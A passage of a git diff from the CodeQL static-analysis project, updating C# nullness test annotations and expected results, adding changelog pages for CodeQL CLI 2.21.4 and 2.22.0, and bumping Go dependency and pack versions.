-| E.cs:240:21:240:21 | access to parameter i | E.cs:238:26:238:26 | SSA param(i) | E.cs:240:21:240:21 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:238:26:238:26 | i | i | E.cs:238:26:238:26 | i | this |
-| E.cs:285:9:285:9 | access to local variable o | E.cs:283:13:283:22 | [b (line 279): false] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:283:13:283:13 | o | o | E.cs:284:9:284:9 | access to local variable o | this |
-| E.cs:285:9:285:9 | access to local variable o | E.cs:283:13:283:22 | [b (line 279): true] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:283:13:283:13 | o | o | E.cs:284:9:284:9 | access to local variable o | this |
-| E.cs:302:9:302:9 | access to local variable s | E.cs:301:13:301:27 | SSA def(s) | E.cs:302:9:302:9 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | E.cs:301:13:301:13 | s | s | E.cs:301:13:301:27 | String s = ... | this |
-| E.cs:343:9:343:9 | access to local variable x | E.cs:342:13:342:32 | SSA def(x) | E.cs:343:9:343:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:342:13:342:13 | x | x | E.cs:342:13:342:32 | String x = ... | this |
-| E.cs:349:9:349:9 | access to local variable x | E.cs:348:17:348:36 | SSA def(x) | E.cs:349:9:349:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:348:17:348:17 | x | x | E.cs:348:17:348:36 | dynamic x = ... | this |
-| E.cs:366:41:366:41 | access to parameter s | E.cs:366:28:366:28 | SSA param(s) | E.cs:366:41:366:41 | access to parameter s | Variable $@ may be null at this access because the parameter has a null default value. | E.cs:366:28:366:28 | s | s | E.cs:366:32:366:35 | null | this |
-| E.cs:375:20:375:20 | access to local variable s | E.cs:374:17:374:31 | SSA def(s) | E.cs:375:20:375:20 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | E.cs:374:17:374:17 | s | s | E.cs:374:17:374:31 | String s = ... | this |
-| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:382:14:382:23 | ... == ... | this |
-| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:382:44:382:53 | ... != ... | this |
-| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:384:13:384:22 | ... == ... | this |
-| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:382:28:382:37 | ... != ... | this |
-| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:382:58:382:67 | ... == ... | this |
-| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:384:27:384:36 | ... == ... | this |
-| E.cs:417:34:417:34 | access to parameter i | E.cs:417:24:417:40 | SSA capture def(i) | E.cs:417:34:417:34 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:415:27:415:27 | i | i | E.cs:415:27:415:27 | i | this |
-| E.cs:423:38:423:38 | access to parameter i | E.cs:423:28:423:44 | SSA capture def(i) | E.cs:423:38:423:38 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:420:27:420:27 | i | i | E.cs:420:27:420:27 | i | this |
-| E.cs:430:39:430:39 | access to parameter i | E.cs:430:29:430:45 | SSA capture def(i) | E.cs:430:39:430:39 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:427:27:427:27 | i | i | E.cs:427:27:427:27 | i | this |
-| GuardedString.cs:35:31:35:31 | access to local variable s | GuardedString.cs:7:16:7:32 | SSA def(s) | GuardedString.cs:35:31:35:31 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | GuardedString.cs:7:16:7:16 | s | s | GuardedString.cs:7:16:7:32 | String s = ... | this |
-| NullMaybeBad.cs:7:27:7:27 | access to parameter o | NullMaybeBad.cs:13:17:13:20 | null | NullMaybeBad.cs:7:27:7:27 | access to parameter o | Variable $@ may be null at this access because of $@ null argument. | NullMaybeBad.cs:5:25:5:25 | o | o | NullMaybeBad.cs:13:17:13:20 | null | this |
-| Params.cs:14:17:14:20 | access to parameter args | Params.cs:20:12:20:15 | null | Params.cs:14:17:14:20 | access to parameter args | Variable $@ may be null at this access because of $@ null argument. | Params.cs:12:36:12:39 | args | args | Params.cs:20:12:20:15 | null | this |
-| StringConcatenation.cs:16:17:16:17 | access to local variable s | StringConcatenation.cs:14:16:14:23 | SSA def(s) | StringConcatenation.cs:16:17:16:17 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | StringConcatenation.cs:14:16:14:16 | s | s | StringConcatenation.cs:14:16:14:23 | String s = ... | this |
diff --git a/csharp/ql/test/query-tests/Nullness/NullMaybe.qlref b/csharp/ql/test/query-tests/Nullness/NullMaybe.qlref
index caf2eefb3d8..6615576178c 100644
--- a/csharp/ql/test/query-tests/Nullness/NullMaybe.qlref
+++ b/csharp/ql/test/query-tests/Nullness/NullMaybe.qlref
@@ -1 +1,2 @@
-CSI/NullMaybe.ql
+query: CSI/NullMaybe.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/csharp/ql/test/query-tests/Nullness/NullMaybeBad.cs b/csharp/ql/test/query-tests/Nullness/NullMaybeBad.cs
index 9950bc3c1ee..433a4edc112 100644
--- a/csharp/ql/test/query-tests/Nullness/NullMaybeBad.cs
+++ b/csharp/ql/test/query-tests/Nullness/NullMaybeBad.cs
@@ -4,12 +4,12 @@ class Bad
{
void DoPrint(object o)
{
- Console.WriteLine(o.ToString());
+ Console.WriteLine(o.ToString()); // $ Alert[cs/dereferenced-value-may-be-null]
}
void M()
{
DoPrint("Hello");
- DoPrint(null);
+ DoPrint(null); // $ Source[cs/dereferenced-value-may-be-null]
}
}
diff --git a/csharp/ql/test/query-tests/Nullness/Params.cs b/csharp/ql/test/query-tests/Nullness/Params.cs
index 17c9cf861d7..b7f2c9e46e8 100644
--- a/csharp/ql/test/query-tests/Nullness/Params.cs
+++ b/csharp/ql/test/query-tests/Nullness/Params.cs
@@ -11,12 +11,12 @@ public class Params
public void M2(params string[] args)
{
- var l = args.Length; // Good
+ var l = args.Length; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
public void M()
{
M1("a", "b", "c", null);
- M2(null);
+ M2(null); // $ Source[cs/dereferenced-value-may-be-null]
}
-}
\ No newline at end of file
+}
diff --git a/csharp/ql/test/query-tests/Nullness/StringConcatenation.cs b/csharp/ql/test/query-tests/Nullness/StringConcatenation.cs
index 394ea907769..1cc8f146aec 100644
--- a/csharp/ql/test/query-tests/Nullness/StringConcatenation.cs
+++ b/csharp/ql/test/query-tests/Nullness/StringConcatenation.cs
@@ -11,9 +11,9 @@ class StringsTest
void StringMaybeNull()
{
- string s = null;
+ string s = null; // $ Source[cs/dereferenced-value-may-be-null]
while (s != "")
- s = s.Trim(); // BAD (maybe)
+ s = s.Trim(); // $ Alert[cs/dereferenced-value-may-be-null]
}
void StringNotNull()
diff --git a/csharp/ql/test/query-tests/Nullness/options b/csharp/ql/test/query-tests/Nullness/options
index ca78c431249..1039aa6de18 100644
--- a/csharp/ql/test/query-tests/Nullness/options
+++ b/csharp/ql/test/query-tests/Nullness/options
@@ -1,3 +1,4 @@
semmle-extractor-options: /nostdlib /noconfig
semmle-extractor-options: --load-sources-from-project:${testdir}/../../resources/stubs/_frameworks/Microsoft.NETCore.App/Microsoft.NETCore.App.csproj
-semmle-extractor-options: ${testdir}/../../resources/stubs/Microsoft.VisualStudio.TestTools.UnitTesting.cs
\ No newline at end of file
+semmle-extractor-options: ${testdir}/../../resources/stubs/Microsoft.VisualStudio.TestTools.UnitTesting.cs
+semmle-extractor-options: ${testdir}/../../resources/stubs/Library.cs
diff --git a/csharp/ql/test/resources/stubs/Library.cs b/csharp/ql/test/resources/stubs/Library.cs
new file mode 100644
index 00000000000..0efffd3f21b
--- /dev/null
+++ b/csharp/ql/test/resources/stubs/Library.cs
@@ -0,0 +1,13 @@
+namespace Library;
+
+/*
+ * This file is for making stubs for library methods used for testing purposes.
+ * The file is located in the stubs folder, because then the code is not
+ * recognized as being from source.
+ */
+public static class MyExtensions
+{
+ public static void Accept(this object o) { }
+
+ public static void AcceptNullable(this object? o) { }
+}
diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst
index 754b6d2c4da..51ff05b0c3b 100644
--- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst
+++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst
@@ -79,4 +79,4 @@ JavaScript/TypeScript
* Added taint-steps for :code:`Array.prototype.toReversed`.
* Added taint-steps for :code:`Array.prototype.toSorted`.
* Added support for :code:`String.prototype.matchAll`.
-* Added taint-steps for :code:`Array.prototype.reverse`.
+* Added taint-steps for :code:`Array.prototype.reverse`.
diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst
new file mode 100644
index 00000000000..3603d345d71
--- /dev/null
+++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst
@@ -0,0 +1,187 @@
+.. _codeql-cli-2.21.4:
+
+==========================
+CodeQL 2.21.4 (2025-06-02)
+==========================
+
+.. contents:: Contents
+ :depth: 2
+ :local:
+ :backlinks: none
+
+This is an overview of changes in the CodeQL CLI and relevant CodeQL query and library packs. For additional updates on changes to the CodeQL code scanning experience, check out the `code scanning section on the GitHub blog `__, `relevant GitHub Changelog updates `__, `changes in the CodeQL extension for Visual Studio Code `__, and the `CodeQL Action changelog `__.
+
+Security Coverage
+-----------------
+
+CodeQL 2.21.4 runs a total of 449 security queries when configured with the Default suite (covering 165 CWE). The Extended suite enables an additional 128 queries (covering 33 more CWE).
+
+CodeQL CLI
+----------
+
+Deprecations
+~~~~~~~~~~~~
+
+* The :code:`clang_vector_types`, :code:`clang_attributes`, and :code:`flax-vector-conversions` command line options have been removed from the C/C++ extractor. These options were introduced as workarounds to frontend limitations in earlier versions of the extractor and are no longer needed when calling the extractor directly.
+
+Miscellaneous
+~~~~~~~~~~~~~
+
+* The build of Eclipse Temurin OpenJDK that is used to run the CodeQL CLI has been updated to version 21.0.7.
+
+Query Packs
+-----------
+
+Minor Analysis Improvements
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+C/C++
+"""""
+
+* Added flow model for the :code:`SQLite` and :code:`OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries.
+
+C#
+""
+
+* The precision of the query :code:`cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed.
+* The queries :code:`cs/password-in-configuration`, :code:`cs/hardcoded-credentials` and :code:`cs/hardcoded-connection-string-credentials` have been removed from all query suites.
+* The precision of the query :code:`cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant :code:`e1.Equals(e2)` implies :code:`e1.GetHashCode() == e2.GetHashCode()` are taken into account.
+* The precision of the query :code:`cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to :code:`System.Text.CompositeFormat.Parse` are now considered a format like method call.
+
+Golang
+""""""
+
+* The query :code:`go/hardcoded-credentials` has been removed from all query suites.
+
+Java/Kotlin
+"""""""""""
+
+* The query :code:`java/hardcoded-credential-api-call` has been removed from all query suites.
+
+JavaScript/TypeScript
+"""""""""""""""""""""
+
+* The queries :code:`js/hardcoded-credentials` and :code:`js/password-in-configuration-file` have been removed from all query suites.
+
+Python
+""""""
+
+* The query :code:`py/hardcoded-credentials` has been removed from all query suites.
+
+Ruby
+""""
+
+* The query :code:`rb/hardcoded-credentials` has been removed from all query suites.
+
+Swift
+"""""
+
+* The queries :code:`swift/hardcoded-key` and :code:`swift/constant-password` have been removed from all query suites.
+
+GitHub Actions
+""""""""""""""
+
+* The query :code:`actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions :code:`deploy-pages`, :code:`delete-package-versions`, :code:`ai-inference`. This should lead to better alert messages and better fix suggestions.
+
+Language Libraries
+------------------
+
+Bug Fixes
+~~~~~~~~~
+
+C/C++
+"""""
+
+* Fixed a problem where :code:`asExpr()` on :code:`DataFlow::Node` would never return :code:`ArrayAggregateLiteral`\ s.
+* Fixed a problem where :code:`asExpr()` on :code:`DataFlow::Node` would never return :code:`ClassAggregateLiteral`\ s.
+
+Ruby
+""""
+
+* Bug Fixes
+* The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension.
+
+Breaking Changes
+~~~~~~~~~~~~~~~~
+
+C/C++
+"""""
+
+* Deleted the deprecated :code:`userInputArgument` predicate and its convenience accessor from the :code:`Security.qll`.
+* Deleted the deprecated :code:`userInputReturned` predicate and its convenience accessor from the :code:`Security.qll`.
+* Deleted the deprecated :code:`userInputReturn` predicate from the :code:`Security.qll`.
+* Deleted the deprecated :code:`isUserInput` predicate and its convenience accessor from the :code:`Security.qll`.
+* Deleted the deprecated :code:`userInputArgument` predicate from the :code:`SecurityOptions.qll`.
+* Deleted the deprecated :code:`userInputReturned` predicate from the :code:`SecurityOptions.qll`.
+
+Swift
+"""""
+
+* Deleted the deprecated :code:`parseContent` predicate from the :code:`ExternalFlow.qll`.
+* Deleted the deprecated :code:`hasLocationInfo` predicate from the :code:`DataFlowPublic.qll`.
+* Deleted the deprecated :code:`SummaryComponent` class from the :code:`FlowSummary.qll`.
+* Deleted the deprecated :code:`SummaryComponentStack` class from the :code:`FlowSummary.qll`.
+* Deleted the deprecated :code:`SummaryComponent` module from the :code:`FlowSummary.qll`.
+* Deleted the deprecated :code:`SummaryComponentStack` module from the :code:`FlowSummary.qll`.
+* Deleted the deprecated :code:`RequiredSummaryComponentStack` class from the :code:`FlowSummary.qll`.
+
+Minor Analysis Improvements
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+C#
+""
+
+* The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement).
+
+JavaScript/TypeScript
+"""""""""""""""""""""
+
+* Improved analysis for :code:`ES6 classes` mixed with :code:`function prototypes`, leading to more accurate call graph resolution.
+
+Python
+""""""
+
+* The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add :code:`paths-ignore: ["**/.*/**"]` to your `Code Scanning config `__. If you would like to skip all hidden files, you can use :code:`paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the :code:`--codescanning-config` option.
+
+Ruby
+""""
+
+* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception.
+
+Swift
+"""""
+
+* Updated to allow analysis of Swift 6.1.1.
+* :code:`TypeValueExpr` experimental AST leaf is now implemented in the control flow library
+
+Deprecated APIs
+~~~~~~~~~~~~~~~
+
+Java/Kotlin
+"""""""""""
+
+* The predicate :code:`getValue()` on :code:`SpringRequestMappingMethod` is now deprecated. Use :code:`getAValue()` instead.
+* Java now uses the shared :code:`BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The :code:`BasicBlock` class itself no longer extends :code:`ControlFlowNode` - the predicate :code:`getFirstNode` can be used to fix any QL code that somehow relied on this.
+
+New Features
+~~~~~~~~~~~~
+
+C/C++
+"""""
+
+* Added local flow source models for :code:`ReadFile`, :code:`ReadFileEx`, :code:`MapViewOfFile`, :code:`MapViewOfFile2`, :code:`MapViewOfFile3`, :code:`MapViewOfFile3FromApp`, :code:`MapViewOfFileEx`, :code:`MapViewOfFileFromApp`, :code:`MapViewOfFileNuma2`, and :code:`NtReadFile`.
+* Added the :code:`pCmdLine` arguments of :code:`WinMain` and :code:`wWinMain` as local flow sources.
+* Added source models for :code:`GetCommandLineA`, :code:`GetCommandLineW`, :code:`GetEnvironmentStringsA`, :code:`GetEnvironmentStringsW`, :code:`GetEnvironmentVariableA`, and :code:`GetEnvironmentVariableW`.
+* Added summary models for :code:`CommandLineToArgvA` and :code:`CommandLineToArgvW`.
+* Added support for :code:`wmain` as part of the ArgvSource model.
+
+Shared Libraries
+----------------
+
+Breaking Changes
+~~~~~~~~~~~~~~~~
+
+Static Single Assignment (SSA)
+""""""""""""""""""""""""""""""
+
+* Adjusted the Guards interface in the SSA data flow integration to distinguish :code:`hasBranchEdge` from :code:`controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution.
diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.22.0.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.22.0.rst
new file mode 100644
index 00000000000..04920497e4e
--- /dev/null
+++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.22.0.rst
@@ -0,0 +1,82 @@
+.. _codeql-cli-2.22.0:
+
+==========================
+CodeQL 2.22.0 (2025-06-11)
+==========================
+
+.. contents:: Contents
+ :depth: 2
+ :local:
+ :backlinks: none
+
+This is an overview of changes in the CodeQL CLI and relevant CodeQL query and library packs. For additional updates on changes to the CodeQL code scanning experience, check out the `code scanning section on the GitHub blog `__, `relevant GitHub Changelog updates `__, `changes in the CodeQL extension for Visual Studio Code `__, and the `CodeQL Action changelog `__.
+
+Security Coverage
+-----------------
+
+CodeQL 2.22.0 runs a total of 450 security queries when configured with the Default suite (covering 165 CWE). The Extended suite enables an additional 128 queries (covering 33 more CWE). 1 security query has been added with this release.
+
+CodeQL CLI
+----------
+
+Breaking Changes
+~~~~~~~~~~~~~~~~
+
+* A number of breaking changes have been made to the C and C++ CodeQL test environment as used by :code:`codeql test run`\ :
+
+ * Options starting with a :code:`/` are no longer supported by
+ :code:`semmle-extractor-options`. Any option starting with a :code:`/` should be replaced by the equivalent option starting with a :code:`-`, e.g., :code:`/D` should be replaced by :code:`-D`.
+ * Preprocessor command line options of the form :code:`-D#` are no longer supported by :code:`semmle-extractor-options`. :code:`-D=` should be used instead.
+ * The :code:`/Fp` and :code:`-o` options are no longer supported by
+ :code:`semmle-extractor-options`. The options should be omitted.
+ * The :code:`-emit-pch`, :code:`-include-pch`, :code:`/Yc`, and :code:`/Yu` options, and the
+ :code:`--preinclude` option taking a pre-compiled header as its argument, are no longer supported by :code:`semmle-extractor-options`. Any test that makes use of this should be replaced by a test that invokes the CodeQL CLI with the
+ :code:`create database` option and that runs the relevant queries on the created database.
+
+Query Packs
+-----------
+
+Minor Analysis Improvements
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Python
+""""""
+
+* Added SQL injection models from the :code:`pandas` PyPI package.
+
+New Queries
+~~~~~~~~~~~
+
+Golang
+""""""
+
+* Query (:code:`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the :code:`html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in `https://github.com/github/codeql-go/pull/493 `_.
+
+Language Libraries
+------------------
+
+Minor Analysis Improvements
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Golang
+""""""
+
+* The first argument of :code:`Client.Query` in :code:`cloud.google.com/go/bigquery` is now recognized as a SQL injection sink.
+
+JavaScript/TypeScript
+"""""""""""""""""""""
+
+* Added taint flow through the :code:`URL` constructor from the :code:`url` package, improving the identification of SSRF vulnerabilities.
+
+Swift
+"""""
+
+* Updated to allow analysis of Swift 6.1.2.
+
+New Features
+~~~~~~~~~~~~
+
+C/C++
+"""""
+
+* Added a predicate :code:`getReferencedMember` to :code:`UsingDeclarationEntry`, which yields a member depending on a type template parameter.
diff --git a/docs/codeql/codeql-overview/codeql-changelog/index.rst b/docs/codeql/codeql-overview/codeql-changelog/index.rst
index 2d2fd483aed..af427fd6915 100644
--- a/docs/codeql/codeql-overview/codeql-changelog/index.rst
+++ b/docs/codeql/codeql-overview/codeql-changelog/index.rst
@@ -11,6 +11,8 @@ A list of queries for each suite and language `is available here `_,``github.com/antchfx/xpath*``,,,4
`appleboy/gin-jwt `_,``github.com/appleboy/gin-jwt*``,,,1
`beego `_,"``github.com/astaxie/beego*``, ``github.com/beego/beego*``",102,63,213
+ `bigquery `_,``cloud.google.com/go/bigquery*``,,,1
`chi `_,``github.com/go-chi/chi*``,3,,
`cristalhq/jwt `_,``github.com/cristalhq/jwt*``,,,1
`env `_,``github.com/caarlos0/env*``,5,2,
@@ -53,7 +54,7 @@ Go framework & library support
`goproxy `_,``github.com/elazarl/goproxy*``,2,2,2
`gorilla/mux `_,``github.com/gorilla/mux*``,1,,
`gorilla/websocket `_,``github.com/gorilla/websocket*``,3,,
- `gorqlite `_,"``github.com/raindog308/gorqlite*``, ``github.com/rqlite/gorqlite*``",16,4,48
+ `gorqlite `_,"``github.com/raindog308/gorqlite*``, ``github.com/rqlite/gorqlite*``, ``github.com/kanikanema/gorqlite*``",24,6,72
`goxpath `_,``github.com/ChrisTrenkamp/goxpath*``,,,3
`htmlquery `_,``github.com/antchfx/htmlquery*``,,,4
`json-iterator `_,``github.com/json-iterator/go*``,,4,
@@ -73,6 +74,5 @@ Go framework & library support
`xpathparser `_,``github.com/santhosh-tekuri/xpathparser*``,,,2
`yaml `_,``gopkg.in/yaml*``,,9,
`zap `_,``go.uber.org/zap*``,,11,33
- Others,``github.com/kanikanema/gorqlite``,8,2,24
- Totals,,688,1069,1556
+ Totals,,688,1069,1557
diff --git a/go/documentation/library-coverage/frameworks.csv b/go/documentation/library-coverage/frameworks.csv
index bd5a9249068..b5a4c6d65b8 100644
--- a/go/documentation/library-coverage/frameworks.csv
+++ b/go/documentation/library-coverage/frameworks.csv
@@ -3,6 +3,7 @@ Standard library,https://pkg.go.dev/std, archive/* bufio bytes cmp compress/* co
appleboy/gin-jwt,https://github.com/appleboy/gin-jwt,github.com/appleboy/gin-jwt*
Afero,https://github.com/spf13/afero,github.com/spf13/afero*
beego,https://beego.me/,github.com/astaxie/beego* github.com/beego/beego*
+bigquery,https://pkg.go.dev/cloud.google.com/go/bigquery,cloud.google.com/go/bigquery*
Bun,https://bun.uptrace.dev/,github.com/uptrace/bun*
CleverGo,https://github.com/clevergo/clevergo,clevergo.tech/clevergo* github.com/clevergo/clevergo*
Couchbase official client(gocb),https://github.com/couchbase/gocb,github.com/couchbase/gocb* gopkg.in/couchbase/gocb*
@@ -35,7 +36,7 @@ golang.org/x/net,https://pkg.go.dev/golang.org/x/net,golang.org/x/net*
goproxy,https://github.com/elazarl/goproxy,github.com/elazarl/goproxy*
gorilla/mux,https://github.com/gorilla/mux,github.com/gorilla/mux*
gorilla/websocket,https://github.com/gorilla/websocket,github.com/gorilla/websocket*
-gorqlite,https://github.com/rqlite/gorqlite,github.com/raindog308/gorqlite* github.com/rqlite/gorqlite*
+gorqlite,https://github.com/rqlite/gorqlite,github.com/raindog308/gorqlite* github.com/rqlite/gorqlite* github.com/kanikanema/gorqlite*
goxpath,https://github.com/ChrisTrenkamp/goxpath/wiki,github.com/ChrisTrenkamp/goxpath*
htmlquery,https://github.com/antchfx/htmlquery,github.com/antchfx/htmlquery*
Iris,https://www.iris-go.com/,github.com/kataras/iris*
diff --git a/go/extractor/go.mod b/go/extractor/go.mod
index cfdc82cbd2b..8dce8565a58 100644
--- a/go/extractor/go.mod
+++ b/go/extractor/go.mod
@@ -9,8 +9,8 @@ toolchain go1.24.0
// when adding or removing dependencies, run
// bazel mod tidy
require (
- golang.org/x/mod v0.24.0
- golang.org/x/tools v0.33.0
+ golang.org/x/mod v0.25.0
+ golang.org/x/tools v0.34.0
)
-require golang.org/x/sync v0.14.0 // indirect
+require golang.org/x/sync v0.15.0 // indirect
diff --git a/go/extractor/go.sum b/go/extractor/go.sum
index 3341c6aa4dd..c6a97825c8a 100644
--- a/go/extractor/go.sum
+++ b/go/extractor/go.sum
@@ -1,8 +1,8 @@
github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
-golang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU=
-golang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww=
-golang.org/x/sync v0.14.0 h1:woo0S4Yywslg6hp4eUFjTVOyKt0RookbpAHG4c1HmhQ=
-golang.org/x/sync v0.14.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=
-golang.org/x/tools v0.33.0 h1:4qz2S3zmRxbGIhDIAgjxvFutSvH5EfnsYrRBj0UI0bc=
-golang.org/x/tools v0.33.0/go.mod h1:CIJMaWEY88juyUfo7UbgPqbC8rU2OqfAV1h2Qp0oMYI=
+golang.org/x/mod v0.25.0 h1:n7a+ZbQKQA/Ysbyb0/6IbB1H/X41mKgbhfv7AfG/44w=
+golang.org/x/mod v0.25.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww=
+golang.org/x/sync v0.15.0 h1:KWH3jNZsfyT6xfAfKiz6MRNmd46ByHDYaZ7KSkCtdW8=
+golang.org/x/sync v0.15.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=
+golang.org/x/tools v0.34.0 h1:qIpSLOxeCYGg9TrcJokLBG4KFA6d795g0xkBkiESGlo=
+golang.org/x/tools v0.34.0/go.mod h1:pAP9OwEaY1CAW3HOmg3hLZC5Z0CCmzjAF2UQMSqNARg=
diff --git a/go/ql/consistency-queries/CHANGELOG.md b/go/ql/consistency-queries/CHANGELOG.md
index c3254e1caad..3fa1fa4c69b 100644
--- a/go/ql/consistency-queries/CHANGELOG.md
+++ b/go/ql/consistency-queries/CHANGELOG.md
@@ -1,3 +1,11 @@
+## 1.0.25
+
+No user-facing changes.
+
+## 1.0.24
+
+No user-facing changes.
+
## 1.0.23
No user-facing changes.
diff --git a/go/ql/consistency-queries/change-notes/released/1.0.24.md b/go/ql/consistency-queries/change-notes/released/1.0.24.md
new file mode 100644
index 00000000000..379b5e33657
--- /dev/null
+++ b/go/ql/consistency-queries/change-notes/released/1.0.24.md
@@ -0,0 +1,3 @@
+## 1.0.24
+
+No user-facing changes.
diff --git a/go/ql/consistency-queries/change-notes/released/1.0.25.md b/go/ql/consistency-queries/change-notes/released/1.0.25.md
new file mode 100644
index 00000000000..51ce67fd9b1
--- /dev/null
+++ b/go/ql/consistency-queries/change-notes/released/1.0.25.md
@@ -0,0 +1,3 @@
+## 1.0.25
+
+No user-facing changes.
diff --git a/go/ql/consistency-queries/codeql-pack.release.yml b/go/ql/consistency-queries/codeql-pack.release.yml
index 0f96ba41d16..a5a44030e85 100644
--- a/go/ql/consistency-queries/codeql-pack.release.yml
+++ b/go/ql/consistency-queries/codeql-pack.release.yml
@@ -1,2 +1,2 @@
---
-lastReleaseVersion: 1.0.23
+lastReleaseVersion: 1.0.25
diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml
index 7c8b4515264..17730391629 100644
--- a/go/ql/consistency-queries/qlpack.yml
+++ b/go/ql/consistency-queries/qlpack.yml
@@ -1,5 +1,5 @@
name: codeql-go-consistency-queries
-version: 1.0.24-dev
+version: 1.0.26-dev
groups:
- go
- queries
diff --git a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected
index 609e21e82ec..20fcacbc389 100644
--- a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected
+++ b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected
@@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql
ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql
ql/go/ql/src/Security/CWE-022/ZipSlip.ql
ql/go/ql/src/Security/CWE-078/CommandInjection.ql
+ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql
ql/go/ql/src/Security/CWE-079/ReflectedXss.ql
ql/go/ql/src/Security/CWE-089/SqlInjection.ql
ql/go/ql/src/Security/CWE-089/StringBreak.ql
diff --git a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected
index 634335cd05e..ee0ec8f42ba 100644
